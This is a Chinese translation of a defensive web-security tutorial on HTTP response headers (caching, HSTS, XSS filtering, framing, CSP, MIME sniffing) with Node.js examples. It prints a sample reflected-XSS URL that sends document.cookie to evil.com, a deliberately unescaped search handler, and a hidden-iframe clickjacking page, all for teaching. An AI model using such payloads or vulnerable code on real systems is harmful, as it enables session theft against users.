[譯] 如何使用 HTTP Headers 來保護你的 Web 應用

Bamboo發表於2017-04-18

如何使用 HTTP Headers 來保護你的 Web 應用

眾所周知,無論是簡單的小網頁還是複雜的單頁應用,Web 應用都是網路攻擊的目標。2016 年,這種最主要的攻擊模式 —— 攻擊 web 應用,造成了大約 40% 的資料洩露。事實上,現在來說,瞭解網路安全並不是錦上添花,而是 Web 開發者的必需任務,特別對於構建面向消費者的產品的開發人員。

開發者可以利用 HTTP 響應頭來加強 Web 應用程式的安全性,通常只需要新增幾行程式碼即可。本文將介紹 web 開發者如何利用 HTTP Headers 來構建安全的應用。雖然本文的示例程式碼是 Node.js,但基本所有主流的服務端語言都支援設定 HTTP 響應頭,並且都可以簡單地對其進行配置。

關於 HTTP Headers

技術上來說,HTTP 頭只是簡單的欄位,以明文形式編碼,它是 HTTP 請求和響應訊息頭的一部分。它們旨在使客戶端和服務端都能夠傳送和接受有關要建立的連線、所請求的資源,以及返回的資源本身的後設資料。

可以簡單地使用 cURL --head 來檢查純文字 HTTP 響應頭,例如:

$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…複製程式碼

現在,數百種響應頭正在被 web 應用所使用,其中一部分由網際網路工程任務組(IETF)標準化。IETF 是一個開放性組織,今天我們所熟知的許多 web 標準和專利都是由他們推進的。HTTP 頭提供了一種靈活可擴充套件的機制,造就了現今的網路各種豐富多變的用例。

機密資源禁用快取

快取是優化客戶端-服務端架構效能中有效的技術,HTTP 也不例外,同樣廣泛利用了快取技術。但是,在快取的資源是保密的情況下,快取可能導致漏洞,所以必須避免。假設一個 web 應用對含有敏感資訊的網頁進行快取,並且是在一臺公用的 PC 上使用,任何人可以通過訪問瀏覽器的快取看到這個 web 應用上的敏感資訊,甚至有時僅僅通過點選瀏覽器的返回按鈕就可以看到。

IETF RFC 7234 中定義了 HTTP 快取,指定 HTTP 客戶端(瀏覽器以及網路代理)的預設行為:除非另行指定,否則始終快取對 HTTP GET 請求的響應。雖然這樣可以使 HTTP 提升效能減少網路擁塞,但如上所述,它也有可能使終端使用者個人資訊被盜。好訊息是,HTTP 規範還定義了一種非常簡單的方式來指示客戶端對特定響應不進行快取,通過使用 —— 對,你猜到了 —— HTTP 響應頭。

當你準備返回敏感資訊並希望禁用 HTTP 客戶端的快取時,有三個響應頭可以返回:

  • Cache-Control

從 HTTP 1.1 引入的此響應頭可能包含一個或多個指令,每個指令帶有特定的快取語義,指示 HTTP 客戶端和代理如何處理有此響應頭註釋的響應。我推薦如下指定響應頭,cache-control: no-cache, no-store, must-revalidate。這三個指令基本上可以指示客戶端和中間代理不可使用之前快取的響應,不可儲存響應,甚至就算響應被快取,也必須從源伺服器上重新驗證。

  • Pragma: no-cache

為了向後相容 HTTP 1.0,你還需要包含此響應頭。有部分客戶端,特別是中間代理,可能仍然沒有完全支援 HTTP 1.1,所以不能正確處理前面提到的 Cache-Control 響應頭,因此使用 Pragma: no-cache 確保較舊的客戶端不快取你的響應。

  • Expires: -1

此響應頭指定了該響應過期的時間戳。如果不指定為未來某個真實時間而指定為 -1,可以保證客戶端立即將此響應視為過期並避免快取。

需要注意的是,禁用快取提高安全性及保護機密資源的同時,也的確會帶來效能上的折損。所以確保僅對實際需要保密性的資源禁用快取,而不是對伺服器的任何響應禁用。想要更深入瞭解 web 資源快取的最佳實踐,我推薦閱讀 Jake Archibald 的文章

下面是 Node.js 中設定響應頭的示例程式碼:

function requestHandler(req, res) {
    res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
    res.setHeader('Pragma','no-cache');
    res.setHeader('Expires','-1');
}複製程式碼

強制 HTTPS

今天,HTTPS 的重要性已經得到了技術界的廣泛認可。越來越多的 web 應用配置了安全端點,並將不安全網路重定向到安全端點(即 HTTP 重定向至 HTTPS)。不幸的是,終端使用者還未完全理解 HTTPS 的重要性,這種缺乏理解使他們面臨著各種中間人攻擊(MitM)。普通使用者訪問到一個 web 應用時,並不會注意到正在使用的網路協議是安全的(HTTPS)還是不安全的(HTTP)。甚至,當瀏覽器出現了證照錯誤或警告時,很多使用者會直接點選略過警告。

與 web 應用進行互動時,通過有效的 HTTPS 連線是非常重要的:不安全的連線將會使得使用者暴露在各種攻擊之下,這可能導致 cookie 被盜甚至更糟。舉個例子,攻擊者可以在公共 Wi-Fi 網路下輕易騙取網路幀並提取那些不使用 HTTPS 的使用者的會話 cookie。更糟的情況是,即使使用者通過安全連線與 web 應用進行互動也可能遭受降級攻擊,這種攻擊試圖強制將連線降級到不安全的連線,從而使使用者受到中間人攻擊。

我們如何幫助使用者避免這些攻擊,並更好地推行 HTTPS 的使用呢?使用 HTTP 嚴格傳輸安全頭(HSTS)。簡單來說,HSTS 確保與源主機間的所有通訊都使用 HTTPS。RFC 6797 中說明了,HSTS 可以使 web 應用程式指示瀏覽器允許與源主機之間的 HTTPS 連線,將所有不安全的連線內部重定向到安全連線,並自動將所有不安全的資源請求升級為安全請求。

HSTS 的指令如下:

  • max-age=<number of seconds>

此項指示瀏覽器對此域快取此響應頭指定的秒數。這樣可以保證長時間的加固安全。

  • includeSubDomains

此項指示瀏覽器對當前域的所有子域應用 HSTS,這可以用於所有當前和未來可能的子域。

  • preload

這是一個強大的指令,強制瀏覽器始終安全載入你的 web 應用程式,即使是第一次收到響應之前載入!這是通過將啟用 HSTS 預載入域的列表硬編碼到瀏覽器的程式碼中實現的。要啟用預載入功能,你需要在 Google Chrome 團隊維護的網站 HSTS 預載入列表提交註冊你的域。

注意謹慎使用 preload,因為這意味著它不能輕易撤銷,並可能更新延遲數個月。雖然預載入肯定會加強應用程式的安全性,但也意味著你需要充分確信你的應用程式僅支援 HTTPS!

我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;,這樣指示了瀏覽器強制通過 HTTPS 連線到源主機並且有效期為一年。如果你對你的 app 僅處理 HTTPS 很有信心,我也推薦加上 preload 指令,當然別忘記去前面提到的預載入列表註冊你的網站。

以下是在 Nodes.js 中實現 HSTS 的方法:

function requestHandler(req, res){
    res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}複製程式碼

啟用 XSS 過濾

在反射型跨站指令碼攻擊(reflected XSS)中,攻擊者將惡意 JavaScript 程式碼注入到 HTTP 請求,注入的程式碼「對映」到響應中,並由瀏覽器執行,從而使惡意程式碼在可信任的上下文中執行,訪問諸如會話 cookie 中的潛在機密資訊。不幸的是,XSS 是一個很常見的網路應用攻擊,且令人驚訝地有效!

為了瞭解反射型 XSS 攻擊,參考以下 Node.js 程式碼,渲染 mywebapp.com,模擬一個簡單的 web 應用程式,它將搜尋結果以及使用者請求的搜尋關鍵詞一起呈現:

function handleRequest(req, res) {
    res.writeHead(200);

    // Get the search term
    const parsedUrl = require('url').parse(req.url);
    const searchTerm = decodeURI(parsedUrl.query);
    const resultSet = search(searchTerm);

    // Render the document
    res.end(
        "<html>" +
            "<body>" +
                "<p>You searched for: " + searchTerm + "</p>" +
                // Search results rendering goes here…
            "</body>" +
        "</html>");
};複製程式碼

現在,來考慮一下上面的 web 應用程式會如何處理在 URL 中嵌入的惡意可執行程式碼,例如:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>複製程式碼

你可能意識到了,這個 URL 會讓瀏覽器執行注入的指令碼,併傳送極有可能包含機密會話的使用者 cookies 到 evil.com。

為了保護使用者抵抗反射型 XSS 攻擊,有些瀏覽器實施了保護機制。這些保護機制嘗試通過在 HTTP 請求和響應中尋找匹配的程式碼模式來辨識這些攻擊。Internet Explorer 是第一個推出這種機制的,在 2008 年的 IE 8 中引入了 XSS 過濾器的機制,而 WebKit 後來推出了 XSS 審計,現今在 Chrome 和 Safari 上可用(Firefox 沒有內建類似的機制,但是使用者可以使用外掛來獲得此功能)。這些保護機制並不完美,它們可能無法檢測到真正的 XSS 攻擊(漏報),在其他情況可能會阻止合法程式碼(誤判)。由於後一種情況的出現,瀏覽器允許使用者可設定禁用 XSS 過濾功能。不幸的是,這通常是一個全域性設定,這會完全關閉所有瀏覽器載入的 web 應用程式的安全功能。

幸運的是,有方法可以讓 web 應用覆蓋此配置,並確保瀏覽器載入的 web 應用已開啟 XSS 過濾器。即通過設定 X-XSS-Protection 響應頭實現。此響應頭支援 Internet Explorer(IE8 以上)、Edge、Chrome 和 Safari,指示瀏覽器開啟或關閉內建的保護機制,及覆蓋瀏覽器的本地配置。

X-XSS-Protection 指令包括:

  • 1 或者 0

使用或禁用 XSS 過濾器。

  • mode=block

當檢測到 XSS 攻擊時,這會指示瀏覽器不渲染整個頁面。

我建議永遠開啟 XSS 過濾器以及 block 模式,以求最大化保護使用者。這樣的響應頭應該是這樣的:

X-XSS-Protection: 1; mode=block複製程式碼

以下是在 Node.js 中配置此響應頭的方法:

function requestHandler(req, res){
    res.setHeader('X-XSS-Protection','1;mode=block');}複製程式碼

控制 iframe

iframe (正式來說,是 HTML 內聯框架元素)是一個 DOM 元素,它允許一個 web 應用巢狀在另一個 web 應用中。這個強大的元素有部分重要的使用場景,比如在 web 應用中嵌入第三方內容,但它也有重大的缺點,例如對 SEO 不友好,對瀏覽器導航跳轉也不友好等等。

其中一個需要注意的事是它使得點選劫持變得更加容易。點選劫持是一種誘使使用者點選並非他們想要點選的目標的攻擊。要理解一個簡單的劫持實現,參考以下 HTML,當使用者認為他們點選可以獲得獎品時,實際上是試圖欺騙使用者購買麵包機。

<html>
  <body>
    <button class='some-class'>Win a Prize!</button>
    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
  </body>
</html>複製程式碼

有許多惡意應用程式都採用了點選劫持,例如誘導使用者點贊,線上購買商品,甚至提交機密資訊。惡意 web 應用程式可以通過在其惡意應用中嵌入合法的 web 應用來利用 iframe 進行點選劫持,這可以通過設定 opacity: 0 的 CSS 規則將其隱藏,並將 iframe 的點選目標直接放置在看起來無辜的按鈕之上。點選了這個無害按鈕的使用者會直接點選在嵌入的 web 應用上,並不知道點選後的後果。

阻止這種攻擊的一種有效的方法是限制你的 web 應用被框架化。在 RFC 7034 中引入的 X-Frame-Options,就是設計用來做這件事的。此響應頭指示瀏覽器對你的 web 應用是否可以被嵌入另一個網頁進行限制,從而阻止惡意網頁欺騙使用者呼叫你的應用程式進行各項操作。你可以使用 DENY 完全遮蔽,或者使用 ALLOW-FROM 指令將特定域列入白名單,也可以使用 SAMEORIGIN 指令將應用的源地址列入白名單。

我的建議是使用 SAMEORIGIN 指令,因為它允許 iframe 被同域的應用程式所使用,這有時是有用的。以下是響應頭的示例:

X-Frame-Options: SAMEORIGIN複製程式碼

以下是在 Node.js 中設定此響應頭的示例程式碼:

function requestHandler(req, res){
    res.setHeader('X-Frame-Options','SAMEORIGIN');}複製程式碼

指定白名單資源

如前所述,你可以通過啟用瀏覽器的 XSS 過濾器,給你的 web 應用程式增強安全性。然而請注意,這種機制是有侷限性的,不是所有瀏覽器都支援(例如 Firefox 就不支援 XSS 過濾),並且依賴的模式匹配技術可以被欺騙。

對抗 XSS 和其他攻擊的另一層的保護,可以通過明確列出可信來源和操作來實現 —— 這就是內容安全策略(CSP)。

CSP 是一種 W3C 規範,它定義了強大的基於瀏覽器的安全機制,可以對 web 應用中的資源載入以及指令碼執行進行精細的控制。使用 CSP 可以將特定的域加入白名單進行指令碼載入、AJAX 呼叫、影像載入和樣式載入等操作。你可以啟用或禁用內聯指令碼或動態指令碼(臭名昭著的 eval),並通過將特定域列入白名單來控制框架化。CSP 的另一個很酷的功能是它允許配置實時報告目標,以便實時監控應用程式進行 CSP 阻止操作。

這種對資源載入和指令碼執行的明確的白名單提供了很強的安全性,在很多情況下都可以防範攻擊。例如,使用 CSP 禁止內聯指令碼,你可以防範很多反射型 XSS 攻擊,因為它們依賴於將內聯指令碼注入到 DOM。

CSP 是一個相對複雜的響應頭,它有很多種指令,在這裡我不詳細展開了,可以參考 HTML5 Rocks 裡一篇很棒的教程,其中提供了 CSP 的概述,我非常推薦閱讀它來學習如何在你的 web 應用中使用 CSP。

以下是一個設定 CSP 的示例程式碼,它僅允許從應用程式的源域載入指令碼,並阻止動態指令碼的執行(eval)以及內嵌指令碼(當然,還是 Node.js):

function requestHandler(req, res){
    res.setHeader('Content-Security-Policy',"script-src 'self'");}複製程式碼

防止 Content-Type 嗅探

為了使使用者體驗儘可能無縫,許多瀏覽器實現了一個功能叫內容型別嗅探,或者 MIME 嗅探。這個功能使得瀏覽器可以通過「嗅探」實際 HTTP 響應的資源的內容直接檢測到資源的型別,無視響應頭中 Content-Type 指定的資源型別。雖然這個功能在某些情況下確實是有用的,它引入了一個漏洞以及一種叫 MIME 型別混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者可以注入惡意資源,例如惡意指令碼,偽裝成一個無害的資源,例如一張圖片。通過 MIME 嗅探,瀏覽器將忽略宣告的影像內容型別,它不會渲染圖片,而是執行惡意指令碼。

幸運的是,X-Content-Type-Options 響應頭緩解了這個漏洞。此響應頭在 2008 年引入 IE8,目前大多數主流瀏覽器都支援(Safari 是唯一不支援的主流瀏覽器),它指示瀏覽器在處理獲取的資源時不使用嗅探。因為 X-Content-Type-Options 僅在 「Fetch」規範中正式指定,實際的實現因瀏覽器而異。一部分瀏覽器(IE 和 Edge)完全阻止了 MIME 嗅探,而其他一些(Firefox)仍然會進行 MIME 嗅探,但會遮蔽掉可執行的資源(JavaScript 和 CSS)如果宣告的內容型別與實際的型別不一致。後者符合最新的 Fetch 規範。

X-Content-Type-Options 是一個很簡單的響應頭,它只有一個指令,nosniff。它是這樣指定的:X-Content-Type-Options: nosniff。以下是示例程式碼:

function requestHandler(req, res){
    res.setHeader('X-Content-Type-Options','nosniff');}複製程式碼

總結

本文中,我們瞭解瞭如何利用 HTTP 響應頭來加強 web 應用的安全性,防止攻擊和減輕漏洞。

要點

  • 使用 Cache-Control 禁用對機密資訊的快取
  • 通過 Strict-Transport-Security 強制使用 HTTPS,並將你的域新增到 Chrome 預載入列表
  • 利用 X-XSS-Protection 使你的 web 應用更加能抵抗 XSS 攻擊
  • 使用 X-Frame-Options 阻止點選劫持
  • 利用 Content-Security-Policy 將特定來源與端點列入白名單
  • 使用 X-Content-Type-Options 防止 MIME 嗅探攻擊

請記住,為了使 web 真正迷人,它必須是安全的。利用 HTTP 響應頭構建更加安全的網頁吧!

宣告: 此文內容僅屬本人,不代表本人過去或現在的僱主。)

首頁圖片版權:Pexels.com


掘金翻譯計劃 是一個翻譯優質網際網路技術文章的社群,文章來源為 掘金 上的英文分享文章。內容覆蓋 AndroidiOSReact前端後端產品設計 等領域,想要檢視更多優質譯文請持續關注 掘金翻譯計劃

相關文章